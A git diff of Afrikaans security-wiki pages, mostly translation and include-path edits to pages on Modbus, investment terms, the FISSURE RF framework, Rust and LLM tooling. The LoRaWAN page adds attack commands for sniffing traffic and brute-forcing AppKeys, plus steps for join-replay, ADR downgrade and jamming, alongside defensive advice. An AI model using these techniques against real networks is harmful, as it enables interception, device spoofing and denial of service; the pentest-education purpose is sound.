-Die Modbus-protokol is 'n wyd gebruikte protokol in Industriële Outomatisering en Beheerstelsels. Modbus stel kommunikasie tussen verskeie toestelle soos programmeerbare logika-beheerders (PLC's), sensors, actuators en ander industriële toestelle moontlik. Om die Modbus-protokol te verstaan, is noodsaaklik, aangesien dit die mees gebruikte kommunikasieprotokol in die ICS is en 'n groot potensiële aanvalsvlak het vir snuffeling en selfs die inspuiting van opdragte in PLC's.
+Die Modbus-protokol is 'n wyd gebruikte protokol in Industriële Outomatisering en Beheerstelsels. Modbus stel kommunikasie tussen verskeie toestelle soos programmeerbare logika-beheerders (PLC's), sensors, actuators en ander industriële toestelle in staat. Om die Modbus-protokol te verstaan, is noodsaaklik, aangesien dit die mees gebruikte kommunikasieprotokol in die ICS is en 'n groot potensiële aanvalsvlak het vir snuffeling en selfs die inspuiting van opdragte in PLC's.

-Hier word konsepte puntgewys uiteengesit om die konteks van die protokol en sy werking te verskaf. Die grootste uitdaging in ICS-stelselsekuriteit is die koste van implementering en opgradering. Hierdie protokolle en standaarde is in die vroeë 80's en 90's ontwerp en word steeds wyd gebruik. Aangesien 'n industrie baie toestelle en verbindings het, is dit baie moeilik om toestelle op te gradeer, wat hackers 'n voordeel gee om met verouderde protokolle te werk. Aanvalle op Modbus is prakties onontkombaar, aangesien dit gebruik gaan word sonder opgradering, en sy werking is krities vir die industrie.
+Hier word konsepte puntgewys uiteengesit om die konteks van die protokol en sy werking te verskaf. Die grootste uitdaging in ICS-stelselsekuriteit is die koste van implementering en opgradering. Hierdie protokolle en standaarde is in die vroeë 80's en 90's ontwerp en word steeds wyd gebruik. Aangesien 'n industrie baie toestelle en verbindings het, is dit baie moeilik om toestelle op te gradeer, wat hackers 'n voordeel gee om met verouderde protokolle te werk. Aanvalle op Modbus is prakties onontkombaar, aangesien dit gebruik gaan word sonder opgradering, omdat sy werking krities is vir die industrie.

 ## Die Kliënt-Server Argitektuur

-Die Modbus-protokol word tipies gebruik in 'n Kliënt-Server Argitektuur waar 'n meester toestel (kliënt) kommunikasie met een of meer slaaftoestelle (bedieners) begin. Dit word ook as 'n Meester-Slaaf argitektuur verwys, wat wyd in elektronika en IoT met SPI, I2C, ens. gebruik word.
+Die Modbus-protokol word tipies gebruik in 'n Kliënt-Server Argitektuur waar 'n meester toestel (kliënt) kommunikasie met een of meer slaaf toestelle (bedieners) begin. Dit word ook as Meester-Slaaf argitektuur verwys, wat wyd in elektronika en IoT met SPI, I2C, ens. gebruik word.

 ## Serial en Ethernet Weergawes

-Die Modbus-protokol is ontwerp vir beide, Seriële Kommunikasie sowel as Ethernet Kommunikasies. Die Seriële Kommunikasie word wyd in erfenisstelsels gebruik terwyl moderne toestelle Ethernet ondersteun, wat hoë datarates bied en meer geskik is vir moderne industriële netwerke.
+Die Modbus-protokol is ontwerp vir beide, Seriële Kommunikasie sowel as Ethernet Kommunikasie. Die Seriële Kommunikasie word wyd in erfenisstelsels gebruik terwyl moderne toestelle Ethernet ondersteun wat hoë datarates bied en meer geskik is vir moderne industriële netwerke.

 ## Data voorstelling

-Data word in die Modbus-protokol as ASCII of Binêr oorgedra, alhoewel die binêre formaat gebruik word weens sy kompakteerbaarheid met ouer toestelle.
+Data word in die Modbus-protokol as ASCII of Binêr oorgedra, alhoewel die binêre formaat gebruik word weens sy kompakte aard met ouer toestelle.

 ## Funksiekodes

@ -32,4 +32,4 @@ Boonop implementeer Modbus ook foutkontroles om die integriteit van die oorgedra

 As gevolg van sy groot skaal gebruik en gebrek aan opgraderings, bied die aanval op Modbus 'n beduidende voordeel met sy aanvalsvlak. ICS is hoogs afhanklik van kommunikasie tussen toestelle en enige aanvalle daarop kan gevaarlik wees vir die werking van die industriële stelsels. Aanvalle soos herhaling, datainspuiting, datasnuffeling en lek, Denial of Service, data vervalsing, ens. kan uitgevoer word as die medium van oordrag deur die aanvaller geïdentifiseer word.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/investment-terms.md
+++ b/src/todo/investment-terms.md
@ -1,6 +1,6 @@
 # Beleggings Terme

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ## Spot

@ -51,7 +51,7 @@ Die koper sal egter 'n fooi aan die verkoper betaal om die opsie te open (sodat

 ### 1. **Verpligting vs. Reg:**

-* **Termynkontrakte:** Wanneer jy 'n termynkontrak koop of verkoop, sluit jy 'n **bindende ooreenkoms** in om 'n bate teen 'n spesifieke prys op 'n toekomstige datum te koop of te verkoop. Beide die koper en die verkoper is **verplig** om die kontrak by verstryking na te kom (tenzij die kontrak voor dit gesluit word).
+* **Termynkontrakte:** Wanneer jy 'n termynkontrak koop of verkoop, sluit jy 'n **bindende ooreenkoms** in om 'n bate teen 'n spesifieke prys op 'n toekomstige datum te koop of te verkoop. Beide die koper en die verkoper is **verplig** om die kontrak by vervaldatum na te kom (tenzij die kontrak voor dit gesluit word).
 * **Opsies:** Met opsies het jy die **reg, maar nie die verpligting** om 'n bate te koop (in die geval van 'n **call opsie**) of te verkoop (in die geval van 'n **put opsie**) teen 'n spesifieke prys voor of op 'n sekere vervaldatum. Die **koper** het die opsie om uit te voer, terwyl die **verkoper** verplig is om die transaksie na te kom as die koper besluit om die opsie uit te oefen.

 ### 2. **Risiko:**
@ -66,7 +66,7 @@ Die koper sal egter 'n fooi aan die verkoper betaal om die opsie te open (sodat

 ### 4. **Wins Potensiaal:**

-* **Termynkontrakte:** Die wins of verlies is gebaseer op die verskil tussen die markprys by verstryking en die ooreengekome prys in die kontrak.
+* **Termynkontrakte:** Die wins of verlies is gebaseer op die verskil tussen die markprys op vervaldatum en die ooreengekome prys in die kontrak.
 * **Opsies:** Die koper verdien wanneer die mark gunstig beweeg bo die uitoefenprys deur meer as die betaalde premie. Die verkoper verdien deur die premie te hou as die opsie nie uitgeoefen word nie.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/todo/radio-hacking/README.md
+++ b/src/todo/radio-hacking/README.md
@ -1,3 +1,3 @@
 # Radio Hacking

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/radio-hacking/fissure-the-rf-framework.md
+++ b/src/todo/radio-hacking/fissure-the-rf-framework.md
@ -1,22 +1,22 @@
-# FISSURE - Die RF-raamwerk
+# FISSURE - Die RF Raamwerk

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 **Frekwensie Onafhanklike SDR-gebaseerde Seinbegrip en Omgekeerde Ingenieurswese**

 FISSURE is 'n oopbron RF en omgekeerde ingenieurswese raamwerk wat ontwerp is vir alle vaardigheidsvlakke met haakplekke vir sein-detektering en klassifikasie, protokolontdekking, aanvalsuitvoering, IQ-manipulasie, kwesbaarheidanalise, outomatisering, en KI/ML. Die raamwerk is gebou om die vinnige integrasie van sagtewaremodules, radio's, protokolle, seindata, skripte, vloediagramme, verwysingsmateriaal, en derdeparty gereedskap te bevorder. FISSURE is 'n werksvloei-enabler wat sagteware op een plek hou en spanne in staat stel om moeiteloos op hoogte te kom terwyl hulle dieselfde bewese basis konfigurasie vir spesifieke Linux verspreidings deel.

-Die raamwerk en gereedskap wat saam met FISSURE ingesluit is, is ontwerp om die teenwoordigheid van RF-energie te detecteer, die eienskappe van 'n sein te verstaan, monsters te versamel en te analiseer, oordrag- en/of inspuittegnieke te ontwikkel, en pasgemaakte payloads of boodskappe te vervaardig. FISSURE bevat 'n groeiende biblioteek van protokol- en seininligting om te help met identifikasie, pakketvorming, en fuzzing. Aanlyn argief vermoëns bestaan om seinlêers af te laai en afspeellys te bou om verkeer te simuleer en stelsels te toets.
+Die raamwerk en gereedskap wat saam met FISSURE ingesluit is, is ontwerp om die teenwoordigheid van RF-energie te detecteer, die eienskappe van 'n sein te verstaan, monsters te versamel en te analiseer, oordrag- en/of inspuittegnieke te ontwikkel, en pasgemaakte payloads of boodskappe te skep. FISSURE bevat 'n groeiende biblioteek van protokol- en seininligting om te help met identifikasie, pakketvorming, en fuzzing. Aanlyn argief vermoëns bestaan om seinlêers af te laai en afspeellys te bou om verkeer te simuleer en stelsels te toets.

-Die vriendelike Python-kodebasis en gebruikerskoppelvlak laat beginners toe om vinnig te leer oor gewilde gereedskap en tegnieke wat RF en omgekeerde ingenieurswese betrek. Onderwysers in kuberveiligheid en ingenieurswese kan voordeel trek uit die ingeboude materiaal of die raamwerk gebruik om hul eie werklike toepassings te demonstreer. Ontwikkelaars en navorsers kan FISSURE gebruik vir hul daaglikse take of om hul baanbrekende oplossings aan 'n breër gehoor bloot te stel. Soos bewustheid en gebruik van FISSURE in die gemeenskap groei, sal die omvang van sy vermoëns en die breedte van die tegnologie wat dit insluit ook toeneem.
+Die vriendelike Python-kodebasis en gebruikerskoppelvlak laat beginners toe om vinnig te leer oor gewilde gereedskap en tegnieke wat RF en omgekeerde ingenieurswese betrek. Onderwysers in kuberveiligheid en ingenieurswese kan voordeel trek uit die ingeboude materiaal of die raamwerk gebruik om hul eie werklike toepassings te demonstreer. Ontwikkelaars en navorsers kan FISSURE gebruik vir hul daaglikse take of om hul baanbrekende oplossings aan 'n breër gehoor bloot te stel. Soos bewustheid en gebruik van FISSURE in die gemeenskap groei, sal die omvang van sy vermoëns en die breedte van die tegnologie wat dit insluit ook groei.

 **Addisionele Inligting**

-* [AIS-bladsy](https://www.ainfosec.com/technologies/fissure/)
-* [GRCon22-skyfies](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf)
-* [GRCon22-papier](https://events.gnuradio.org/event/18/contributions/246/attachments/84/167/FISSURE\_Paper\_Poore\_GRCon22.pdf)
-* [GRCon22-video](https://www.youtube.com/watch?v=1f2umEKhJvE)
-* [Hack Chat-transkripsie](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1)
+* [AIS Bladsy](https://www.ainfosec.com/technologies/fissure/)
+* [GRCon22 Slides](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf)
+* [GRCon22 Papier](https://events.gnuradio.org/event/18/contributions/246/attachments/84/167/FISSURE\_Paper\_Poore\_GRCon22.pdf)
+* [GRCon22 Video](https://www.youtube.com/watch?v=1f2umEKhJvE)
+* [Hack Chat Transkripsie](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1)

 ## Begin

@ -24,8 +24,8 @@ Die vriendelike Python-kodebasis en gebruikerskoppelvlak laat beginners toe om v

 Daar is drie takke binne FISSURE om lêer navigasie makliker te maak en kode redundans te verminder. Die Python2\_maint-3.7 tak bevat 'n kodebasis gebou rondom Python2, PyQt4, en GNU Radio 3.7; die Python3\_maint-3.8 tak is gebou rondom Python3, PyQt5, en GNU Radio 3.8; en die Python3\_maint-3.10 tak is gebou rondom Python3, PyQt5, en GNU Radio 3.10.

-|   Bedryfstelsel   |   FISSURE-tak   |
-| :----------------: | :-------------: |
+|   Bedryfstelsel   |   FISSURE Tak   |
+| :----------------: | :------------: |
 |  Ubuntu 18.04 (x64)  | Python2\_maint-3.7 |
 | Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 |
 | Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 |
@ -33,16 +33,16 @@ Daar is drie takke binne FISSURE om lêer navigasie makliker te maak en kode red
 | Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 |
 |  KDE neon 5.25 (x64) | Python3\_maint-3.8 |

-**In-Progress (beta)**
+**In-Voortgang (beta)**

-Hierdie bedryfstelsels is steeds in beta-status. Hulle is in ontwikkeling en verskeie funksies is bekend om te ontbreek. Items in die installeerder mag met bestaande programme konflikter of mag nie installeer totdat die status verwyder word nie.
+Hierdie bedryfstelsels is steeds in beta-status. Hulle is in ontwikkeling en verskeie funksies is bekend om te ontbreek. Items in die installeerder mag met bestaande programme konflik en mag nie installeer totdat die status verwyder is nie.

-|     Bedryfstelsel     |    FISSURE-tak   |
+|     Bedryfstelsel     |    FISSURE Tak   |
 | :--------------------: | :--------------: |
 | DragonOS Focal (x86\_64) |  Python3\_maint-3.8 |
 |    Ubuntu 22.04 (x64)    | Python3\_maint-3.10 |

-Nota: Sekere sagteware gereedskap werk nie vir elke OS nie. Verwys na [Sagteware en Konflikte](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)
+Nota: Sekere sagteware gereedskap werk nie vir elke OS nie. Verwys na [Sagteware En Konflikte](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)

 **Installasie**
 ```
@ -52,7 +52,7 @@ git checkout <Python2_maint-3.7> or <Python3_maint-3.8> or <Python3_maint-3.10>
 git submodule update --init
 ./install
 ```
-Dit sal PyQt sagteware afhanklikhede installeer wat benodig word om die installasie GUIs te begin as hulle nie gevind word nie.
+Dit sal PyQt-sagteware-afhanklikhede installeer wat benodig word om die installasie-GUI's te begin as hulle nie gevind word nie.

 Kies volgende die opsie wat die beste by jou bedryfstelsel pas (moet outomaties gedetecteer word as jou OS by 'n opsie pas).

@ -60,7 +60,7 @@ Kies volgende die opsie wat die beste by jou bedryfstelsel pas (moet outomaties
 | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: |
 | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) |

-Dit word aanbeveel om FISSURE op 'n skoon bedryfstelsel te installeer om bestaande konflikte te vermy. Kies al die aanbevole keuselys (Standaard knoppie) om foute te vermy terwyl jy die verskillende gereedskap binne FISSURE gebruik. Daar sal verskeie vrae tydens die installasie wees, meestal wat vra vir verhoogde toestemmings en gebruikersname. As 'n item 'n "Verifieer" afdeling aan die einde bevat, sal die installeerder die opdrag wat volg uitvoer en die keuselysitem groen of rooi uitlig, afhangende van of daar enige foute deur die opdrag geproduseer word. Gekontroleerde items sonder 'n "Verifieer" afdeling sal swart bly na die installasie.
+Dit word aanbeveel om FISSURE op 'n skoon bedryfstelsel te installeer om bestaande konflikte te vermy. Kies al die aanbevole keuselys (Standaardknoppie) om foute te vermy terwyl jy die verskillende gereedskap binne FISSURE gebruik. Daar sal verskeie vrae tydens die installasie wees, meestal wat om verhoogde toestemmings en gebruikersname vra. As 'n item 'n "Verifieer" afdeling aan die einde bevat, sal die installeerder die opdrag wat volg uitvoer en die keuselysitem groen of rooi uitlig, afhangende van of daar enige foute deur die opdrag geproduseer word. Gekontroleerde items sonder 'n "Verifieer" afdeling sal swart bly na die installasie.

 ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png)

@ -89,7 +89,7 @@ Verwys na die FISSURE Help-menu vir meer besonderhede oor gebruik.
 | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Sein Detektor**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**IQ Manipulasie**_      | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Sein Soektog**_          | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Patroon Herkenning**_ |
 | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
 | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Aanvalle**_           | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_         | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Sein Speellys**_       | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Beeld Galery**_  |
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Pakket Ontwerp**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy Integrasie**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC Berekenaar**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Teken**_            |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Pakket Ontwerp**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy Integrasie**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC Rekenkamer**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Teken**_            |

 **Hardeware**

@ -100,7 +100,7 @@ Die volgende is 'n lys van "ondersteunde" hardeware met verskillende vlakke van
 * RTL2832U
 * 802.11 Adapters
 * LimeSDR
-* bladeRF, bladeRF 2.0 micro
+* bladeRF, bladeRF 2.0 mikro
 * Open Sniffer
 * PlutoSDR

@ -126,12 +126,12 @@ FISSURE kom met verskeie nuttige gidse om bekend te raak met verskillende tegnol
 * [ ] Ondersteun meer bedryfstelsels
 * [ ] Ontwikkel klas materiaal rondom FISSURE (RF Aanvalle, Wi-Fi, GNU Radio, PyQt, ens.)
 * [ ] Skep 'n sein voorverwerker, kenmerk ekstrakteerder, en sein klassifiseerder met selekteerbare AI/ML tegnieke
-* [ ] Implementeer rekursiewe demodulasie meganismes om 'n bitstroom uit onbekende seine te produseer
+* [ ] Implementeer rekursiewe demodulasie meganismes om 'n bitstroom van onbekende seine te produseer
 * [ ] Oorgang van die hoof FISSURE komponente na 'n generiese sensor node ontplooiing skema

 ## Bydrae

-Voorstelle om FISSURE te verbeter word sterk aangemoedig. Laat 'n opmerking in die [Besprekings](https://github.com/ainfosec/FISSURE/discussions) bladsy of in die Discord Bediening as jy enige gedagtes het rakende die volgende:
+Voorstelle om FISSURE te verbeter word sterk aangemoedig. Laat 'n opmerking in die [Besprekings](https://github.com/ainfosec/FISSURE/discussions) bladsy of in die Discord Bediening as jy enige gedagtes het oor die volgende:

 * Nuwe kenmerk voorstelle en ontwerp veranderinge
 * Sagteware gereedskap met installasie stappe
@ -141,7 +141,7 @@ Voorstelle om FISSURE te verbeter word sterk aangemoedig. Laat 'n opmerking in d
 * IQ analise skripte in Python
 * Installasie regstellings en verbeterings

-Bydraes om FISSURE te verbeter is van kardinale belang om sy ontwikkeling te versnel. Enige bydraes wat jy maak word baie waardeer. As jy wil bydra deur kode ontwikkeling, fork die repo en skep 'n pull request:
+Bydraes om FISSURE te verbeter is van kardinale belang om sy ontwikkeling te versnel. Enige bydraes wat jy maak word baie waardeer. As jy wil bydra deur kode ontwikkeling, fork asseblief die repo en skep 'n pull request:

 1. Fork die projek
 2. Skep jou kenmerk tak (`git checkout -b feature/AmazingFeature`)
@ -149,7 +149,7 @@ Bydraes om FISSURE te verbeter is van kardinale belang om sy ontwikkeling te ver
 4. Push na die tak (`git push origin feature/AmazingFeature`)
 5. Maak 'n pull request oop

-Die skep van [Probleme](https://github.com/ainfosec/FISSURE/issues) om aandag te vestig op foute word ook verwelkom.
+Om [Probleme](https://github.com/ainfosec/FISSURE/issues) te skep om aandag aan foute te bring word ook verwelkom.

 ## Samewerking

@ -181,4 +181,4 @@ Ons erken en is dankbaar teenoor hierdie ontwikkelaars:

 Spesiale dank aan Dr. Samuel Mantravadi en Joseph Reith vir hul bydraes tot hierdie projek.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/radio-hacking/low-power-wide-area-network.md
+++ b/src/todo/radio-hacking/low-power-wide-area-network.md
@ -1,16 +1,95 @@
-# Lae-Power Wye Gebied Netwerk
+# Lae-Power Wye Area Netwerk

 {{#include ../../banners/hacktricks-training.md}}

 ## Inleiding

-**Lae-Power Wye Gebied Netwerk** (LPWAN) is 'n groep draadlose, lae-krag, wye gebied netwerk tegnologieë ontwerp vir **langafstand kommunikasie** teen 'n lae bitoordrag.\
+**Lae-Power Wye Area Netwerk** (LPWAN) is 'n groep draadlose, lae-power, wye-area netwerk tegnologieë wat ontwerp is vir **langafstand kommunikasie** teen 'n lae bietempo.
 Hulle kan meer as **ses myl** bereik en hul **batterye** kan tot **20 jaar** hou.

-Langafstand (**LoRa**) is gewild in verskeie lande en het 'n oopbron spesifikasie genaamd **LoRaWAN**.
+Long Range (**LoRa**) is tans die mees ontplooide LPWAN fisiese laag en sy oop MAC-laag spesifikasie is **LoRaWAN**.

-### LPWAN, LoRa, en LoRaWAN
+---

-[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
+## LPWAN, LoRa, en LoRaWAN

+* LoRa – Chirp Spread Spectrum (CSS) fisiese laag ontwikkel deur Semtech (besit, maar gedokumenteer).
+* LoRaWAN – Oop MAC/Netwerk laag wat deur die LoRa-Alliance onderhou word. Weergawes 1.0.x en 1.1 is algemeen in die veld.
+* Tipiese argitektuur: *eind-toestel → gateway (pakket-voorwaarts) → netwerk-bediener → toepassing-bediener*.
+
+> Die **veiligheidsmodel** berus op twee AES-128 wortelsleutels (AppKey/NwkKey) wat sessiesleutels aflei tydens die *join* prosedure (OTAA) of hard-gecodeer is (ABP). As enige sleutel lek, verkry die aanvaller volle lees/skryf vermoë oor die ooreenstemmende verkeer.
+
+---
+
+## Aanval oppervlak opsomming
+
+| Laag | Swakheid | Praktiese impak |
+|-------|----------|------------------|
+| PHY | Reaktiewe / selektiewe jamming | 100 % pakketverlies gedemonstreer met 'n enkele SDR en <1 W uitset |
+| MAC | Join-Accept & data-raam herhaling (nonce hergebruik, ABP teenrol) | Toestel spoofing, boodskap inspuiting, DoS |
+| Netwerk-Bediener | Onveilige pakket-voorwaarts, swak MQTT/UDP filters, verouderde gateway firmware | RCE op gateways → pivot in OT/IT netwerk |
+| Toepassing | Hard-gecodeerde of voorspelbare AppKeys | Brute-force/dekripteer verkeer, doen asof sensors |
+
+---
+
+## Onlangse kwesbaarhede (2023-2025)
+
+* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* het TCP-pakkette aanvaar wat stateful firewall reëls op Kerlink gateways omseil, wat afstandsbestuurder blootstelling moontlik gemaak het. Reggestel in 4.0.11 / 4.2.1 onderskeidelik.
+* **Dragino LG01/LG308 reeks** – Meerdere 2022-2024 CVEs (bv. 2022-45227 gids traversering, 2022-45228 CSRF) steeds waargeneem onopgelos in 2025; stel ongeverifieerde firmware dump of konfigurasie oorskry op duisende openbare gateways.
+* Semtech *pakket-voorwaarts UDP* oorgeloop (nie vrygestel advies, reggestel 2023-10): vervaardigde uplink groter as 255 B het stapel-slaan geaktiveer ‑> RCE op SX130x verwysingsgateways (gevind deur Black Hat EU 2023 “LoRa Exploitation Reloaded”).
+
+---
+
+## Praktiese aanval tegnieke
+
+### 1. Sniff & Dekripteer verkeer
+```bash
+# Capture all channels around 868.3 MHz with an SDR (USRP B205)
+python3 lorattack/sniffer.py \
+--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
+
+# Bruteforce AppKey from captured OTAA join-request/accept pairs
+python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
+```
+### 2. OTAA join-replay (DevNonce hergebruik)
+
+1. Capture 'n legitieme **JoinRequest**.
+2. Hertransmit dit onmiddellik (of verhoog RSSI) voordat die oorspronklike toestel weer transmit.
+3. Die netwerk-bediener toeken 'n nuwe DevAddr & sessiesleutels terwyl die teiken toestel met die ou sessie voortgaan → aanvaller besit 'n vakante sessie en kan vervalste uplinks inspuit.
+
+### 3. Aanpasbare Data-Tempo (ADR) afgrading
+
+Force SF12/125 kHz om lugtyd te verhoog → verbruik die pligsyklus van die gateway (denial-of-service) terwyl die battery-impak op die aanvaller laag bly (stuur net netwerk-vlak MAC-opdragte).
+
+### 4. Reaktiewe jamming
+
+*HackRF One* wat GNU Radio flowgraph uitvoer, aktiveer 'n wye-band chirp wanneer preamble gedetecteer word – blokkeer alle verspreidingsfaktore met ≤200 mW TX; volle uitval gemeet op 2 km afstand.
+
+---
+
+## Offensiewe gereedskap (2025)
+
+| Tool | Doel | Aantekeninge |
+|------|---------|-------|
+| **LoRaWAN Auditing Framework (LAF)** | Skep/parse/aanval LoRaWAN rame, DB-ondersteunde ontleders, brute-forcer | Docker beeld, ondersteun Semtech UDP inset |
+| **LoRaPWN** | Trend Micro Python nut om OTAA te brute, genereer aflaai, dekripteer payloads | Demo vrygestel 2023, SDR-agnosties |
+| **LoRAttack** | Multi-kanaal sniffer + replay met USRP; voer PCAP/LoRaTap uit | Goeie Wireshark integrasie |
+| **gr-lora / gr-lorawan** | GNU Radio OOT blokke vir basisband TX/RX | Grondslag vir pasgemaakte aanvalle |
+
+---
+
+## Defensiewe aanbevelings (pentester kontrolelys)
+
+1. Verkies **OTAA** toestelle met werklik ewekansige DevNonce; monitor duplikate.
+2. Handhaaf **LoRaWAN 1.1**: 32-bis rame tellers, unieke FNwkSIntKey / SNwkSIntKey.
+3. Stoor rame-teller in nie-vlugtige geheue (**ABP**) of migreer na OTAA.
+4. Ontplooi **secure-element** (ATECC608A/SX1262-TRX-SE) om wortelsleutels teen firmware-uitkapping te beskerm.
+5. Deaktiveer afstand UDP-pakket-voordeur poorte (1700/1701) of beperk met WireGuard/VPN.
+6. Hou gateways opgedateer; Kerlink/Dragino bied 2024-gepatchte beelde.
+7. Implementeer **verkeersanomalie-detektering** (bv. LAF ontleder) – merk teenstellingsherinstellings, duplikaat joins, skielike ADR veranderinge.
+
+## References
+
+* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
+* Trend Micro LoRaPWN oorsig – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/rust-basics.md
+++ b/src/todo/rust-basics.md
@ -1,6 +1,6 @@
 # Rust Basics

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ### Generiese Tipes

@ -28,11 +28,11 @@ None,
 Some(T),
 }
 ```
-U kan funksies soos `is_some()` of `is_none()` gebruik om die waarde van die Option te kontroleer.
+U kan funksies soos `is_some()` of `is_none()` gebruik om die waarde van die Opsie te kontroleer.

 ### Makros

-Makros is kragtiger as funksies omdat hulle uitbrei om meer kode te produseer as die kode wat jy handmatig geskryf het. Byvoorbeeld, 'n funksie-handtekening moet die aantal en tipe parameters wat die funksie het, verklaar. Makros, aan die ander kant, kan 'n veranderlike aantal parameters neem: ons kan `println!("hello")` met een argument of `println!("hello {}", name)` met twee argumente aanroep. Ook, makros word uitgebrei voordat die kompilateur die betekenis van die kode interpreteer, so 'n makro kan byvoorbeeld 'n trait op 'n gegewe tipe implementeer. 'n Funksie kan nie, omdat dit tydens uitvoering aangeroep word en 'n trait moet tydens kompilering geïmplementeer word.
+Makros is kragtiger as funksies omdat hulle uitbrei om meer kode te produseer as die kode wat jy handmatig geskryf het. Byvoorbeeld, 'n funksie-handtekening moet die aantal en tipe parameters wat die funksie het, verklaar. Makros, aan die ander kant, kan 'n veranderlike aantal parameters neem: ons kan `println!("hello")` met een argument of `println!("hello {}", name)` met twee argumente aanroep. Ook, makros word uitgebrei voordat die kompilator die betekenis van die kode interpreteer, so 'n makro kan byvoorbeeld 'n trait op 'n gegewe tipe implementeer. 'n Funksie kan nie, omdat dit tydens uitvoering aangeroep word en 'n trait moet tydens kompilering geïmplementeer word.
 ```rust
 macro_rules! my_macro {
 () => {
@ -256,7 +256,7 @@ assert_ne!(true, false);

 #### Arc

-'n Arc kan Clone gebruik om meer verwysings oor die objek te skep om dit aan die drade te oorhandig. Wanneer die laaste verwysingsaanwyser na 'n waarde buite die omvang is, word die veranderlike laat vaar.
+'n Arc kan Clone gebruik om meer verwysings oor die objek te skep om dit aan die drade te oorhandig. Wanneer die laaste verwysingsaanwyser na 'n waarde buite die omvang is, word die veranderlike verwyder.
 ```rust
 use std::sync::Arc;
 let apple = Arc::new("the same apple");
@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
 }
 }
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/todo/test-llms.md
+++ b/src/todo/test-llms.md
@ -1,6 +1,6 @@
 # Toets LLMs

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ## Voer & oplei modelle plaaslik

@ -10,16 +10,16 @@ Hugging Face Transformers is een van die gewildste oopbron biblioteke vir die ge

 ### [**LangChain**](https://github.com/langchain-ai/langchain)

-LangChain is 'n raamwerk ontwerp vir die bou van toepassings met LLMs. Dit stel ontwikkelaars in staat om taalmodelle met eksterne databasisse, API's, en databasisse te verbind. LangChain bied gereedskap vir gevorderde promptingenieurskap, bestuur van gesprekgeskiedenis, en integrasie van LLMs in komplekse werksvloei.
+LangChain is 'n raamwerk wat ontwerp is om toepassings met LLMs te bou. Dit stel ontwikkelaars in staat om taalmodelle met eksterne databasisse, API's, en databronne te verbind. LangChain bied gereedskap vir gevorderde promptingenieurskap, bestuur van gesprekgeskiedenis, en integrasie van LLMs in komplekse werksvloei.

